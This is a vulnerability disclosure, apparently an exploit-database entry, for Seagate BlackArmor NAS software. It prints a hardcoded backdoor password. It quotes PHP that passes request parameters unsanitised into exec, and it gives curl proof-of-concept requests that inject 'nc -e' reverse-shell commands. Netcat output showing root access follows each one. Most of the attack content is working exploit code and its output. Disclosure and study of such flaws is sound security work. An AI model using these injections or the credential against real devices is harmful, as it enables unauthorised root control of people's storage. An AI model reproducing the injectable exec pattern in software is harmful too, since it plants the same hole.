# Vendor Homepage: http://www.seagate.com/external-hard-drives/network-storage/

# Version: All BlackArmor NAS devices..

# Tested on: Linux

# CVE : N/A

 

1. some sort of backdoor user (hardcoded credentials) in backupmgt/pre_connect_check.php

 

$password = '!~@#$EW#$$%FREDESWWSED';

 

/////////////////////////////////////////////////////////////////////////////////////////////////////////

 

2. remote [root] code execution, this software is riddled with many many bugs, including tons of rce..

 

examples: localhost/backupmgt/localJob.php

 

Vulnerable code:

 

$session = $_GET["session"];

$tempsrc = exec("cat $immedLog | grep $session | cut -d '".Chr(002)."' -f 3");

$des = exec("cat $immedLog | grep $session | cut -d '".Chr(002)."' -f 4");

 

PoC:  curl "localhost/backupmgt/localJob.php?session=fail;nc -e 127.0.0.1 99;"

-------------------------

listening on [any] 99 ...

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 57157

id

uid=0(root) gid=0(root)

 

another example: localhost/backupmgmt/pre_connect_check.php

 

Vulnerable code:

 

$ipString = $_GET["server_ip"];

$auth_name = $_GET["auth_name"];

$password = $_GET["auth_pass"];

$alias_name = $_GET["alias_name"];

$dryString ="rsync -rnP --password-file=temp.pas"." --log-file=pre.log --contimeout=5 /usr/sbin ".$auth_name."@".$ipString."::".$alias_name;

$result =@exec ($dryString);     // produce temp pre log

 

PoC:  curl "localhost/backupmgt/pre_connect_check.php?auth_name=fail;nc -e 127.0.0.1 99;"

-------------------------

listening on [any] 99 ...

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 52348

id

uid=0(root) gid=0(root)

 

There's ton of more bugs in BlackArmor NAS software, there have been other releases noting other bugs (killProcesses.php RCE), Seagate has decided to ignore any messages regarding these..claiming they are only working on newer products now.
